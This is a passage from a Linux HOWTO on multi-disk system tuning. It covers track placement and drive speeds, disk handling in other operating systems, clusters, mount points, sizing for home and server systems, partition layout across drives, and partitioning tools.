In most cases track 0 is at the outermost track and this is the general assumption most people use. Still, it should be kept in mind that there are no guarantees this is so.

Inner

tracks are usually slow in transfer, and lying at one end of the seeking position it is also slow to seek to.

This is more suitable to the low end directories such as DOS, root and print spools.

Middle

tracks are on average faster with respect to transfers than inner tracks and being in the middle also on average faster to seek to.

This characteristics is ideal for the most demanding parts such as swap, /tmp and /var/tmp.

Outer

tracks have on average even faster transfer characteristics but like the inner tracks are at the end of the seek so statistically it is equally slow to seek to as the inner tracks.

Large files such as libraries would benefit from a place here.

Hence seek time reduction can be achieved by positioning frequently accessed tracks in the middle so that the average seek distance and therefore the seek time is short. This can be done either by using fdisk or cfdisk to make a partition on the middle tracks or by first making a file (using dd) equal to half the size of the entire disk before creating the files that are frequently accessed, after which the dummy file can be deleted. Both cases assume starting from an empty disk.

The latter trick is suitable for news spools where the empty directory structure can be placed in the middle before putting in the data files. This also helps reducing fragmentation a little.

This little trick can be used both on ordinary drives as well as RAID systems. In the latter case the calculation for centring the tracks will be different, if possible. Consult the latest RAID manual.

The speed difference this makes depends on the drives, but a 50 percent improvement is a typical value.

Disk Speed Values

The same mechanical head disk assembly (HDA) is often available with a number of interfaces (IDE, SCSI etc) and the mechanical parameters are therefore often comparable. The mechanics is today often the limiting factor but development is improving things steadily. There are two main parameters, usually quoted in milliseconds (ms):

  • Head movement - the speed at which the read-write head is able to move from one track to the next, called access time. If you do the mathematics and doubly integrate the seek first across all possible starting tracks and then across all possible target tracks you will find that this is equivalent of a stroke across a third of all tracks.
  • Rotational speed - which determines the time taken to get to the right sector, called latency.

After voice coils replaced stepper motors for the head movement the improvements seem to have levelled off and more energy is now spent (literally) at improving rotational speed. This has the secondary benefit of also improving transfer rates.

Some typical values:

                         Drive type

Access time (ms)        | Fast  Typical   Old
---------------------------------------------
Track-to-track             <1       2       8
Average seek               10      15      30
End-to-end                 10      30      70

This shows that the very high end drives offer only marginally better access times then the average drives but that the old drives based on stepper motors are significantly worse.

Rotational speed (RPM)  |  3600 | 4500 | 4800 | 5400 | 7200 | 10000
-------------------------------------------------------------------
Latency          (ms)   |    17 |   13 | 12.5 | 11.1 |  8.3 |   6.0

As latency is the average time taken to reach a given sector, the formula is quite simply

latency (ms) = 60000 / speed (RPM)

Clearly this too is an example of diminishing returns for the efforts put into development. However, what really takes off here is the power consumption, heat and noise.

6.9 Yoke

There is also a Linux Yoke Driver available in beta which is intended to do hot-swappable transparent binding of one Linux block device to another. This means that if you bind two block devices together, say /dev/hda and /dev/loop0, writing to one device will mean also writing to the other and reading from either will yield the same result.

6.10 Stacking

One of the advantages of a layered design of an operating system is that you have the flexibility to put the pieces together in a number of ways. For instance you can cache a CD-ROM with cachefs that is a volume striped over 2 drives. This in turn can be set up translucently with a volume that is NFS mounted from another machine. RAID can be stacked in several layers to offer very fast seek and transfer in such a way that it will work if even 3 drives fail. The choices are many, limited only by imagination and, probably more importantly, money.

6.11 Recommendations

There is a near infinite number of combinations available but my recommendation is to start off with a simple setup without any fancy add-ons. Get a feel for what is needed, where the maximum performance is required, if it is access time or transfer speed that is the bottle neck, and so on. Then phase in each component in turn. As you can stack quite freely you should be able to retrofit most components in as time goes by with relatively few difficulties.

RAID is usually a good idea but make sure you have a thorough grasp of the technology and a solid back up system.


HOWTO: Multi Disk System Tuning: Other Operating Systems

 Next Previous Contents

7. Other Operating Systems

Many Linux users have several operating systems installed, often necessitated by hardware setup systems that run under other operating systems, typically DOS or some flavour of Windows. A small section on how best to deal with this is therefore included here.

7.1 DOS

Leaving aside the debate on weather or not DOS qualifies as an operating system one can in general say that it has little sophistication with respect to disk operations. The more important result of this is that there can be severe difficulties in running various versions of DOS on large drives, and you are therefore strongly recommended in reading the Large Drives mini-HOWTO. One effect is that you are often better off placing DOS on low track numbers.

Having been designed for small drives it has a rather unsophisticated file system (fat) which when used on large drives will allocate enormous block sizes. It is also prone to block fragmentation which will after a while cause excessive seeks and slow effective transfers.

One solution to this is to use a defragmentation program regularly but it is strongly recommended to back up data and verify the disk before defragmenting. All versions of DOS have chkdsk that can do some disk checking, newer versions also have scandisk which is somewhat better. There are many defragmentation programs available, some versions have one called defrag. Norton Utilities have a large suite of disk tools and there are many others available too.

As always there are snags, and this particular snake in our drive paradise is called hidden files. Some vendors started to use these for copy protection schemes and would not take kindly to being moved to a different place on the drive, even if it remained in the same place in the directory structure. The result of this was that newer defragmentation programs will not touch any hidden file, which in turn reduces the effect of defragmentation.

Being a single tasking, single threading and single most other things operating system there is very little gains in using multiple drives unless you use a drive controller with built in RAID support of some kind.

There are a few utilities called join and subst which can do some multiple drive configuration but there is very little gains for a lot of work. Some of these commands have been removed in newer versions.

In the end there is very little you can do, but not all hope is lost. Many programs need fast, temporary storage, and the better behaved ones will look for environment variables called TMPDIR or TEMPDIR which you can set to point to another drive. This is often best done in autoexec.bat.

SET TMPDIR=E:/TMP
SET TEMPDIR=E:/TEMP

Not only will this possibly gain you some speed but also it can reduce fragmentation.

There have been reports about difficulties in removing multiple primary partitions using the fdisk program that comes with DOS. Should this happen you can instead use a Linux rescue disk with Linux fdisk to repair the system.

Don't forget there are other alternatives to DOS, the most well known being DR-DOS from Caldera. This is a direct descendant from DR-DOS from Digital Research. It offers many features not found in the more common DOS, such as multi tasking and long filenames.

Another alternative which also is free is Free DOS which is a project under development. A number of free utilities are also available.

7.2 Windows

Most of the above points are valid for Windows too, with the exception of Windows95 which apparently has better disk handling, which will get better performance out of SCSI drives.

A useful thing is the introduction of long filenames, to read these from Linux you will need the vfat file system for mounting these partitions.

Disk fragmentation is still a problem. Some of this can be avoided by doing a defragmentation immediately before and immediately after installing large programs or systems. I use this scheme at work and have found it to work quite well. Purging unused files and emptying the waste basket first can improve defragmentation further.

Windows also use swap drives, redirecting this to another drive can give you some performance gains. There are several mini-HOWTOs telling you how best to share swap space between various operating systems.

The trick of setting TEMPDIR can still be used but not all programs will honour this setting. Some do, though. To get a good overview of the settings in the control files you can run sysedit which will open a number of files for editing, one of which is the autoexec file where you can add the TEMPDIR settings.

Much of the temporary files are located in the /windows/temp directory and changing this is more tricky. To achieve this you can use regedit which is rather powerful and quite capable of rendering your system in a state you will not enjoy, or more precisely, in a state much less enjoyable than windows in general. Registry database error is a message that means seriously bad news. Also you will see that many programs have their own private temporary directories scattered around the system.

Setting the swap file to a separate partition is a better idea and much less risky. Keep in mind that this partition cannot be used for anything else, even if there should appear to be space left there.

It is now possible to read ext2fs partitions from Windows, either by mounting the partition using FSDEXT2 or by using a file explorer like tool called Explore2fs.

7.3 OS/2

The only special note here is that you can get file system driver for OS/2 that can read an ext2fs partition. Matthieu Willm's ext2fs Installable File System for OS/2 can be found at ftp-os2.nmsu.edu, Sunsite, ftp.leo.org and ftp-os2.cdrom.com.

The IFS has read and write capabilities.

7.4 NT

This is a more serious system featuring most buzzwords known to marketing. It is well worth noting that it features software striping and other more sophisticated setups. Check out the drive manager in the control panel. I do not have easy access to NT, more details on this can take a bit of time.

One important snag was recently reported by acahalan at cs.uml.edu : (reformatted from a Usenet News posting)

NT DiskManager has a serious bug that can corrupt your disk when you have several (more than one?) extended partitions. Microsoft provides an emergency fix program at their web site. See the knowledge base for more. (This affects Linux users, because Linux users have extra partitions)

You can now read ext2fs partitions from NT using Explore2fs.

7.5 Windows 2000

Most points regarding Windows NT also applies to its descendant Windows 2000 though at the time of writing this I do not know if the aforementioned bugs have been fixed or not.

While Windows 2000, like its predecessor, features RAID, at least one company, RAID Toolbox, has found the bundled RAID somewhat lacking and made their own commercial alternative.

7.6 Sun OS

There is a little bit of confusion in this area between Sun OS vs. Solaris. Strictly speaking Solaris is just Sun OS 5.x packaged with Openwindows and a few other things. If you run Solaris, just type uname -a to see your version. Parts of the reason for this confusion is that Sun Microsystems used to use an OS from the BSD family, albeight with a few bits and pieces from elsewhere as well as things made by themselves. This was the situation up to Sun OS 4.x.y when they did a "strategic roadmap decision" and decided to switch over to the official Unix, System V, Release 4 (aka SVR5), and Sun OS 5 was created. This made a lot of people unhappy. Also this was bundled with other things and marketed under the name Solaris, which currently stands at release 7 which just recently replaced version 2.6 as the latest and greatest. In spite of the large jump in version number this is actually a minor technical upgrade but a giant leap for marketing.

Sun OS 4

This is quite familiar to most Linux users. The last release is 4.1.4 plus various patches. Note however that the file system structure is quite different and does not conform to FSSTND so any planning must be based on the traditional structure. You can get some information by the man page on this: man hier. This is, like most man pages, rather brief but should give you a good start. If you are still confused by the structure it will at least be at a higher level.

Sun OS 5 (aka Solaris)

This comes with a snazzy installation system that runs under Openwindows, it will help you in partitioning and formatting the drives before installing the system from CD-ROM. It will also fail if your drive setup is too far out, and as it takes a complete installation run from a full CD-ROM in a 1x only drive this failure will dawn on you after too long time. That is the experience we had where I used to work. Instead we installed everything onto one drive and then moved directories across.

The default settings are sensible for most things, yet there remains a little oddity: swap drives. Even though the official manual recommends multiple swap drives (which are used in a similar fashion as on Linux) the default is to use only a single drive. It is recommended to change this as soon as possible.

Sun OS 5 offers also a file system especially designed for temporary files, tmpfs. It offers significant speed improvements over ufs but does not survive rebooting.

The only comment so far is: beware! Under Solaris 2.0 it seem that creating too big files in /tmp can cause an out of swap space kernel panic trap. As the evidence of what has happened is as lost as any data on a RAMdisk after powering down it can be hard to find out what has happened. What is worse, it seems that user space processes can cause this kernel panic and unless this problem is taken care of it is best not to use tmpfs in potentially hostile environments.

Also see the notes on tmpfs.

Trivia: There is a movie also called Solaris, a science fiction movie that is very, very long, slow and incomprehensible. This was often pointed out at the time Solaris (the OS) appeared...

7.7 BeOS

This operating system is one of the more recent one to arrive and it features a file system that has some database like features.

There is a BFS file system driver being developed for Linux and is available in alpha stage. For more information check the Linux BFS page where patches also are available.


HOWTO: Multi Disk System Tuning: Clusters

 Next Previous Contents

8. Clusters

In this section I will briefly touch on the ways machines can be connected together but this is so big a topic it could be a separate HOWTO in its own right, hint, hint. Also, strictly speaking, this section lies outside the scope of this HOWTO, so if you feel like getting fame etc. you could contact me and take over this part and turn it into a new document.

These days computers gets outdated at an incredible rate. There is however no reason why old hardware could not be put to good use with Linux. Using an old and otherwise outdated computer as a network server can be both useful in its own right as well as a valuable educational exercise. Such a local networked cluster of computers can take on many forms but to remain within the charter of this HOWTO I will limit myself to the disk strategies. Nevertheless I would hope someone else could take on this topic and turn it into a document on its own.

This is an exciting area of activity today, and many forms of clustering is available today, ranging from automatic workload balancing over local network to more exotic hardware such as Scalable Coherent Interface (SCI) which gives a tight integration of machines, effectively turning them into a single machine. Various kinds of clustering has been available for larger machines for some time and the VAXcluster is perhaps a well known example of this. Clustering is done usually in order to share resources such as disk drives, printers and terminals etc, but also processing resources equally transparently between the computational nodes.

There is no universal definition of clustering, in here it is taken to mean a network of machines that combine their resources to serve users. Admittedly this is a rather loose definition but this will change later.

These days also Linux offers some clustering features but for a starter I will just describe a simple local network. It is a good way of putting old and otherwise unusable hardware to good use, as long as they can run Linux or something similar.

One of the best ways of using an old machine is as a network server in which case the effective speed is more likely to be limited by network bandwidth rather than pure computational performance. For home use you can move the following functionality off to an older machine used as a server:

  • news
  • mail
  • web proxy
  • printer server
  • modem server (PPP, SLIP, FAX, Voice mail)

You can also NFS mount drives from the server onto your workstation thereby reducing drive space requirements. Still read the FSSTND to see what directories should not be exported. The best candidates for exporting to all machines are /usr and /var/spool and possibly /usr/local but probably not /var/spool/lpd.

Most of the time even slow disks will deliver sufficient performance. On the other hand, if you do processing directly on the disks on the server or have very fast networking, you might want to rethink your strategy and use faster drives. Searching features on a web server or news database searches are two examples of this.

Such a network can be an excellent way of learning system administration and building up your own toaster network, as it often is called. You can get more information on this in other HOWTOs but there are two important things you should keep in mind:

  • Do not pull IP numbers out of thin air. Configure your inside net using IP numbers reserved for private use, and use your network server as a router that handles this IP masquerading.
  • Remember that if you additionally configure the router as a firewall you might not be able to get to your own data from the outside, depending on the firewall configuration.

The Nyx network provides an example of a cluster in the sense defined here. It consists of the following machines:

nyx

is one of the two user login machines and also provides some of the networking services.

nox

(aka nyx10) is the main user login machine and is also the mail server.

noc

is a dedicated news server. The news spool is made accessible through NFS mounting to nyx and nox.

arachne

(aka www) is the web server. Web pages are written by NFS mounting onto nox.

There are also some more advanced clustering projects going, notably

  • The Beowulf Project
  • The Genoa Active Message Machine (GAMMA)

High-tech clustering requires high-tech interconnect, and SCI is one of them. To find out more you can either look up the home page of Dolphin Interconnect Solutions which is one of the main actors in this field, or you can have a look at scizzl.

Centralised mail servers using IMAP are becoming more and more popular as disks become large enough to keep all mail stored indefinitely and also cheap enough to make it a feasible option. Unfortunately it has become clear that NFS mounting the mail archives from another machine can cause corruption of the IMAP database as the server software does not handle NFS timeouts too well, and NFS timeouts are a rather common occurrence. Keep therefore the mail archive local to the IMAP server.


HOWTO: Multi Disk System Tuning: Mount Points

 Next Previous Contents

9. Mount Points

In designing the disk layout it is important not to split off the directory tree structure at the wrong points, hence this section. As it is highly dependent on the FSSTND it has been put aside in a separate section, and will most likely have to be totally rewritten when FHS is adopted in a Linux distribution. In the meanwhile this will do.

Remember that this is a list of where a separation can take place, not where it has to be. As always, good judgement is always required.

Again only a rough indication can be given here. The values indicate

0=don't separate here
1=not recommended
 ...
4=useful
5=recommended

In order to keep the list short, the uninteresting parts are removed.

Directory   Suitability
/
|
+-bin       0
+-boot      5
+-dev       0
+-etc       0
+-home      5
+-lib       0
+-mnt       0
+-proc      0
+-root      0
+-sbin      0
+-tmp       5
+-usr       5
| \
| +-X11R6     3
| +-bin       3
| +-lib       4
| +-local     4
| | \
| | +bin        2
| | +lib        4
| +-src       3
|
+-var       5
  \
  +-adm       0
  +-lib       2
  +-lock      1
  +-log       0
  +-preserve  1
  +-run       1
  +-spool     4
  | \
  | +-mail      3
  | +-mqueue    3
  | +-news      5
  | +-smail     3
  | +-uucp      3
  +-tmp       5

There is of course plenty of adjustments possible, for instance a home user would not bother with splitting off the /var/spool hierarchy but a serious ISP should. The key here is usage.

QUIZ! Why should /etc never be on a separate partition? Answer: Mounting instructions during boot is found in the file /etc/fstab so if this is on a separate and unmounted partition it is like the key to a locked drawer is inside that drawer, a hopeless situation. (Yes, I'll do nearly anything to liven up this HOWTO.)


HOWTO: Multi Disk System Tuning: Considerations and Dimensioning

 Next Previous Contents

10. Considerations and Dimensioning

The starting point in this will be to consider where you are and what you want to do. The typical home system starts out with existing hardware and the newly converted Linux user will want to get the most out of existing hardware. Someone setting up a new system for a specific purpose (such as an Internet provider) will instead have to consider what the goal is and buy accordingly. Being ambitious I will try to cover the entire range.

Various purposes will also have different requirements regarding file system placement on the drives, a large multiuser machine would probably be best off with the /home directory on a separate disk, just to give an example.

In general, for performance it is advantageous to split most things over as many disks as possible but there is a limited number of devices that can live on a SCSI bus and cost is naturally also a factor. Equally important, file system maintenance becomes more complicated as the number of partitions and physical drives increases.

10.1 Home Systems

With the cheap hardware available today it is possible to have quite a big system at home that is still cheap, systems that rival major servers of yesteryear. While many started out with old, discarded disks to build a Linux server (which is how this HOWTO came into existence), many can now afford to buy 40 GB disks up front.

Size remains important for some, and here are a few guidelines:

Testing

Linux is simple and you don't even need a hard disk to try it out, if you can get the boot floppies to work you are likely to get it to work on your hardware. If the standard kernel does not work for you, do not forget that often there can be special boot disk versions available for unusual hardware combinations that can solve your initial problems until you can compile your own kernel.

Learning

about operating system is something Linux excels in, there is plenty of documentation and the source is available. A single drive with 50 MB is enough to get you started with a shell, a few of the most frequently used commands and utilities.

Hobby

use or more serious learning requires more commands and utilities but a single drive is still all it takes, 500 MB should give you plenty of room, also for sources and documentation.

Serious

software development or just serious hobby work requires even more space. At this stage you have probably a mail and news feed that requires spool files and plenty of space. Separate drives for various tasks will begin to show a benefit. At this stage you have probably already gotten hold of a few drives too. Drive requirements gets harder to estimate but I would expect 2-4 GB to be plenty, even for a small server.

Servers

come in many flavours, ranging from mail servers to full sized ISP servers. A base of 2 GB for the main system should be sufficient, then add space and perhaps also drives for separate features you will offer. Cost is the main limiting factor here but be prepared to spend a bit if you wish to justify the "S" in ISP. Admittedly, not all do it.

Basically a server is dimensioned like any machine for serious use with added space for the services offered, and tends to be IO bound rather than CPU bound.

With cheap networking technology both for land lines as well as through radio nets, it is quite likely that very soon home users will have their own servers more or less permanently hooked onto the net.

10.2 Servers

Big tasks require big drives and a separate section here. If possible keep as much as possible on separate drives. Some of the appendices detail the setup of a small departmental server for 10-100 users. Here I will present a few consideration for the higher end servers. In general you should not be afraid of using RAID, not only because it is fast and safe but also because it can make growth a little less painful. All the notes below come as additions to the points mentioned earlier.

Popular servers rarely just happens, rather they grow over time and this demands both generous amounts of disk space as well as a good net connection. In many of these cases it might be a good idea to reserve entire SCSI drives, in singles or as arrays, for each task. This way you can move the data should the computer fail. Note that transferring drives across computers is not simple and might not always work, especially in the case of IDE drives. Drive arrays require careful setup in order to reconstruct the data correctly, so you might want to keep a paper copy of your fstab file as well as a note of SCSI IDs.

Home Directories

Estimate how many drives you will need, if this is more than 2 I would recommend RAID, strongly. If not you should separate users across your drives dedicated to users based on some kind of simple hashing algorithm. For instance you could use the first 2 letters in the user name, so jbloggs is put on /u/j/b/jbloggs where /u/j is a symbolic link to a physical drive so you can get a balanced load on your drives.

Anonymous FTP

This is an essential service if you are serious about service. Good servers are well maintained, documented, kept up to date, and immensely popular no matter where in the world they are located. The big server ftp.funet.fi is an excellent example of this.

In general this is not a question of CPU but of network bandwidth. Size is hard to estimate, mainly it is a question of ambition and service attitudes. I believe the big archive at ftp.cdrom.com is a *BSD machine with 50 GB disk. Also memory is important for a dedicated FTP server, about 256 MB RAM would be sufficient for a very big server, whereas smaller servers can get the job done well with 64 MB RAM. Network connections would still be the most important factor.

WWW

For many this is the main reason to get onto the Internet, in fact many now seem to equate the two. In addition to being network intensive there is also a fair bit of drive activity related to this, mainly regarding the caches. Keeping the cache on a separate, fast drive would be beneficial. Even better would be installing a caching proxy server. This way you can reduce the cache size for each user and speed up the service while at the same time cut down on the bandwidth requirements.

With a caching proxy server you need a fast set of drives, RAID0 would be ideal as reliability is not important here. Higher capacity is better but about 2 GB should be sufficient for most. Remember to match the cache period to the capacity and demand. Too long periods would on the other hand be a disadvantage, if possible try to adjust based on the URL. For more information check up on the most used servers such as Harvest, Squid and the one from Netscape.

Mail

Handling mail is something most machines do to some extent. The big mail servers, however, come into a class of their own. This is a demanding task and a big server can be slow even when connected to fast drives and a good net feed. In the Linux world the big server at vger.rutgers.edu is a well known example. Unlike a news service which is distributed and which can partially reconstruct the spool using other machines as a feed, the mail servers are centralised. This makes safety much more important, so for a major server you should consider a RAID solution with emphasize on reliability. Size is hard to estimate, it all depends on how many lists you run as well as how many subscribers you have.

Big mail servers can be IO limited in performance and for this reason some use huge silicon disks connected to the SCSI bus to hold all mail related files including temporary files. For extra safety these are battery backed and filesystems like udf are preferred since they always flush metadata to disk. This added cost to performance is offset by the very fast disk.

Note that these days more and more switch over from using POP to pull mail to local machine from mail server and instead use IMAP to serve mail while keeping the mail archive centralised. This means that mail is no longer spooled in its original sense but often builds up, requiring huge disk space. Also more and more (ab)use mail attachments to send all sorts of things across, even a small word processor document can easily end up over 1 MB. Size your disks generously and keep an eye on how much space is left.

News

This is definitely a high volume task, and very dependent on what news groups you subscribe to. On Nyx there is a fairly complete feed and the spool files consume about 17 GB. The biggest groups are no doubt in the alt.binary.* hierarchy, so if you for some reason decide not to get these you can get a good service with perhaps 12 GB. Still others, that shall remain nameless, feel 2 GB is sufficient to claim ISP status. In this case news expires so fast I feel the spelling IsP is barely justified. A full newsfeed means a traffic of a few GB every day and this is an ever growing number.

Others

There are many services available on the net and even though many have been put somewhat in the shadows by the web. Nevertheless, services like archie, gopher and wais just to name a few, still exist and remain valuable tools on the net. If you are serious about starting a major server you should also consider these services. Determining the required volumes is hard, it all depends on popularity and demand. Providing good service inevitably has its costs, disk space is just one of them.

Server Recommendations

Servers today require large numbers of large disks to function satisfactorily in commercial settings. As mean time between failure (MTBF) decreases rapidly as the number of components increase it is advisable to look into using RAID for protection and use a number of medium sized drives rather than one single huge disk. Also look into the High Availability (HA) project for more information. More information is available at

High Availability HOWTO and also at related web pages.

There is also an article in Byte called How Big Does Your Unix Server Have To Be? with many points that are relevant to Linux.

10.3 Pitfalls

The dangers of splitting up everything into separate partitions are briefly mentioned in the section about volume management. Still, several people have asked me to emphasize this point more strongly: when one partition fills up it cannot grow any further, no matter if there is plenty of space in other partitions.

In particular look out for explosive growth in the news spool (/var/spool/news). For multi user machines with quotas keep an eye on /tmp and /var/tmp as some people try to hide their files there, just look out for filenames ending in gif or jpeg...

In fact, for single physical drives this scheme offers very little gains at all, other than making file growth monitoring easier (using 'df') and physical track positioning. Most importantly there is no scope for parallel disk access. A freely available volume management system would solve this but this is still some time in the future. However, when more specialised file systems become available even a single disk could benefit from being divided into several partitions.

For more information see section Troubleshooting.


HOWTO: Multi Disk System Tuning: Disk Layout

 Next Previous Contents

11. Disk Layout

With all this in mind we are now ready to embark on the layout. I have based this on my own method developed when I got hold of 3 old SCSI disks and boggled over the possibilities.

The tables in the appendices are designed to simplify the mapping process. They have been designed to help you go through the process of optimizations as well as making an useful log in case of system repair. A few examples are also given.

11.1 Selection for Partitioning

Determine your needs and set up a list of all the parts of the file system you want to be on separate partitions and sort them in descending order of speed requirement and how much space you want to give each partition.

The table in Appendix A section is a useful tool to select what directories you should put on different partitions. It is sorted in a logical order with space for your own additions and notes about mounting points and additional systems. It is therefore NOT sorted in order of speed, instead the speed requirements are indicated by bullets ('o').

If you plan to RAID make a note of the disks you want to use and what partitions you want to RAID. Remember various RAID solutions offers different speeds and degrees of reliability.

(Just to make it simple I'll assume we have a set of identical SCSI disks and no RAID)

11.2 Mapping Partitions to Drives

Then we want to place the partitions onto physical disks. The point of the following algorithm is to maximise parallelizing and bus capacity. In this example the drives are A, B and C and the partitions are 987654321 where 9 is the partition with the highest speed requirement. Starting at one drive we 'meander' the partition line over and over the drives in this way:

        A : 9 4 3
        B : 8 5 2
        C : 7 6 1

This makes the 'sum of speed requirements' the most equal across each drive.

Use the table in Appendix B section to select what drives to use for each partition in order to optimize for paralellicity.

Note the speed characteristics of your drives and note each directory under the appropriate column. Be prepared to shuffle directories, partitions and drives around a few times before you are satisfied.

11.3 Sorting Partitions on Drives

After that it is recommended to select partition numbering for each drive.

Use the table in Appendix C section to select partition numbers in order to optimize for track characteristics. At the end of this you should have a table sorted in ascending partition number. Fill these numbers back into the tables in appendix A and B.

You will find these tables useful when running the partitioning program (fdisk or cfdisk) and when doing the installation.

11.4 Optimizing

After this there are usually a few partitions that have to be 'shuffled' over the drives either to make them fit or if there are special considerations regarding speed, reliability, special file systems etc. Nevertheless this gives what this author believes is a good starting point for the complete setup of the drives and the partitions. In the end it is actual use that will determine the real needs after we have made so many assumptions. After commencing operations one should assume a time comes when a repartitioning will be beneficial.

For instance if one of the 3 drives in the above mentioned example is very slow compared to the two others a better plan would be as follows:

        A : 9 6 5
        B : 8 7 4
        C : 3 2 1

Optimizing by Characteristics

Often drives can be similar in apparent overall speed but some advantage can be gained by matching drives to the file size distribution and frequency of access. Thus binaries are suited to drives with fast access that offer command queueing, and libraries are better suited to drives with larger transfer speeds where IDE offers good performance for the money.

Optimizing by Drive Parallelising

Avoid drive contention by looking at tasks: for instance if you are accessing /usr/local/bin chances are you will soon also need files from /usr/local/lib so placing these at separate drives allows less seeking and possible parallel operation and drive caching. It is quite possible that choosing what may appear less than ideal drive characteristics will still be advantageous if you can gain parallel operations. Identify common tasks, what partitions they use and try to keep these on separate physical drives.

Just to illustrate my point I will give a few examples of task analysis here.

Office software

such as editing, word processing and spreadsheets are typical examples of low intensity software both in terms of CPU and disk intensity. However, should you have a single server for a huge number of users you should not forget that most such software have auto save facilities which cause extra traffic, usually on the home directories. Splitting users over several drives would reduce contention.

News

readers also feature auto save features on home directories so ISPs should consider separating home directories

News spools are notorious for their deeply nested directories and their large number of very small files. Loss of a news spool partition is not a big problem for most people, too, so they are good candidates for a RAID 0 setup with many small disks to distribute the many seeks among multiple spindles. It is recommended in the manuals and FAQs for the INN news server to put news spool and .overview files on separate drives for larger installations.

Some notes on INN optimising under Tru64 UNIX also applies to a wider audience, including Linux users.

Database

applications can be demanding both in terms of drive usage and speed requirements. The details are naturally application specific, read the documentation carefully with disk requirements in mind. Also consider RAID both for performance and reliability.

E-mail

reading and sending involves home directories as well as in- and outgoing spool files. If possible keep home directories and spool files on separate drives. If you are a mail server or a mail hub consider putting in- and outgoing spool directories on separate drives.

Losing mail is an extremely bad thing, if you are managing an ISP or major hub. Think about RAIDing your mail spool and consider frequent backups.

Software development

can require a large number of directories for binaries, libraries, include files as well as source and project files. If possible split as much as possible across separate drives. On small systems you can place /usr/src and project files on the same drive as the home directories.

Web browsing

is becoming more and more popular. Many browsers have a local cache which can expand to rather large volumes. As this is used when reloading pages or returning to the previous page, speed is quite important here. If however you are connected via a well configured proxy server you do not need more than typically a few megabytes per user for a session. See also the sections on Home Directories and WWW.

11.5 Compromises

One way to avoid the aforementioned pitfalls is to only set off fixed partitions to directories with a fairly well known size such as swap, /tmp and /var/tmp and group together the remainders into the remaining partitions using symbolic links.

Example: a slow disk (slowdisk), a fast disk (fastdisk) and an assortment of files. Having set up swap and tmp on fastdisk; and /home and root on slowdisk we have (the fictitious) directories /a/slow, /a/fast, /b/slow and /b/fast left to allocate on the partitions /mnt.slowdisk and /mnt.fastdisk which represents the remaining partitions of the two drives.

Putting /a or /b directly on either drive gives the same properties to the subdirectories. We could make all 4 directories separate partitions but would lose some flexibility in managing the size of each directory. A better solution is to make these 4 directories symbolic links to appropriate directories on the respective drives.

Thus we make

/a/fast point to /mnt.fastdisk/a/fast   or   /mnt.fastdisk/a.fast
/a/slow point to /mnt.slowdisk/a/slow   or   /mnt.slowdisk/a.slow
/b/fast point to /mnt.fastdisk/b/fast   or   /mnt.fastdisk/b.fast
/b/slow point to /mnt.slowdisk/b/slow   or   /mnt.slowdisk/b.slow

and we get all fast directories on the fast drive without having to set up a partition for all 4 directories. The second (right hand) alternative gives us a flatter files system which in this case can make it simpler to keep an overview of the structure.

The disadvantage is that it is a complicated scheme to set up and plan in the first place and that all mount points and partitions have to be defined before the system installation.

Important: note that the /usr partition must be mounted directly onto root and not via an indirect link as described above. The reason for this are the long backward links used extensively in X11 that go from deep within /usr all the way to root and then down into /etc directories.


HOWTO: Multi Disk System Tuning: Implementation

 Next Previous Contents

12. Implementation

Having done the layout you should now have a detailed description on what goes where. Most likely this will be on paper but hopefully someone will make a more automated system that can deal with everything from the design, through partitioning to formatting and installation. This is the route one will have to take to realise the design.

Modern distributions come with installation tools that will guide you through partitioning and formatting and also set up /etc/fstab for you automatically. For later modifications, however, you will need to understand the underlying mechanisms.

12.1 Checklist

Before starting make sure you have the following:

  • Written notes of what goes where, your design
  • A functioning, tested rescue disk
  • A fresh backup of your precious data
  • At least two formatted, tested and empty floppies
  • Read and understood the man page for fdisk or equivalent
  • Patience, concentration and elbow grease

12.2 Drives and Partitions

When you start DOS or the like you will find all partitions labeled C: and onwards, with no differentiation on IDE, SCSI, network or whatever type of media you have. In the world of Linux this is rather different. During booting you will see partitions described like this:

Dec  6 23:45:18 demos kernel: Partition check:
Dec  6 23:45:18 demos kernel:  sda: sda1
Dec  6 23:45:18 demos kernel:  hda: hda1 hda2

SCSI drives are labelled sda, sdb, sdc etc, and (E)IDE drives are labelled hda, hdb, hdc etc. There are also standard names for all devices, full information can be found in /dev/MAKEDEV and /usr/src/linux/Documentation/devices.txt.

Partitions are labelled numerically for each drive hda1, hda2 and so on. On SCSI drives there can be 15 partitions per drive, on EIDE drives there can be 63 partitions per drive. Both limits exceed what is currently useful for most disks.

These are then mounted according to the file /etc/fstab before they appear as a part of the file system.

12.3 Partitioning

It feels so good / It's a marginal risk / when I clear off / windows with fdisk! (the Dustbunny in an issue of User Friendly in the song "Refund this")

First you have to partition each drive into a number of separate partitions. Under Linux there are two main methods, fdisk and the more screen oriented cfdisk. These are complex programs, read the manual very carefully. For the experts there is now also sfdisk.

Partitions come in 3 flavours, primary, extended and logical. You have to use primary partitions for booting, but there is a maximum of 4 primary partitions. If you want more you have to define an extended partition within which you define your logical partitions.

Each partition has an identifier number which tells the operating system what it is, for Linux the types swap(82) and ext2fs(83) are the ones you will need to know. If you want to use RAID with autostart you have to check the documentation for the appropriate type number for the RAID partition.

There is a readme file that comes with fdisk that gives more in-depth information on partitioning.

Someone has just made a Partitioning HOWTO which contains excellent, in depth information on the nitty-gritty of partitioning. Rather than repeating it here and bloating this document further, I will instead refer you to it instead.

Redhat has written a screen oriented utility called Disk Druid which is supposed to be a user friendly alternative to fdisk and cfdisk and also automates a few other things. Unfortunately this product is not quite mature so if you use it and cannot get it to work you are well advised to try fdisk or cfdisk.

Not to be outdone, Mandrakesoft has made an even more graphic alternative called Diskdrake that also offers numerous features.

Also the GNU project offers a partitioning tool called GNU Parted

The Ranish Partition Manager is another free alternative, while Partition Magic is a popular commercial alternative which also offers some support for resizing ext2fs partitions.

Note that Windows will complain if it finds more than one primary partition on a drive. Also it appears to assign drive letters to primary partitions as it finds disks before starting over from the first disk to assign subsequent drive names to logical partitions.

If you want DOS/Windows on your system you should make that partition first, a primary one to boot to, made with the DOS fdisk program. Then if you want NT you put that one in. Finally, for Linux, you create those partitions with the Linux fdisk program or equivalents. Linux is flexible enough to boot from both primary as well as logical partitions.

In depth information on DOS fdisk can be found at Fdisk.com and MS-DOS 5.00 - 7.10 Undocumented, Secret + Hidden Features which details even more bugs and pitfalls.

12.4 Repartitioning

Sometimes it is necessary to change the sizes of existing partitions while keeping the contents intact. One way is of course to back up everything, recreate new partitions and then restore the old contents, and while this gives your back up system a good test it is also rather time consuming.

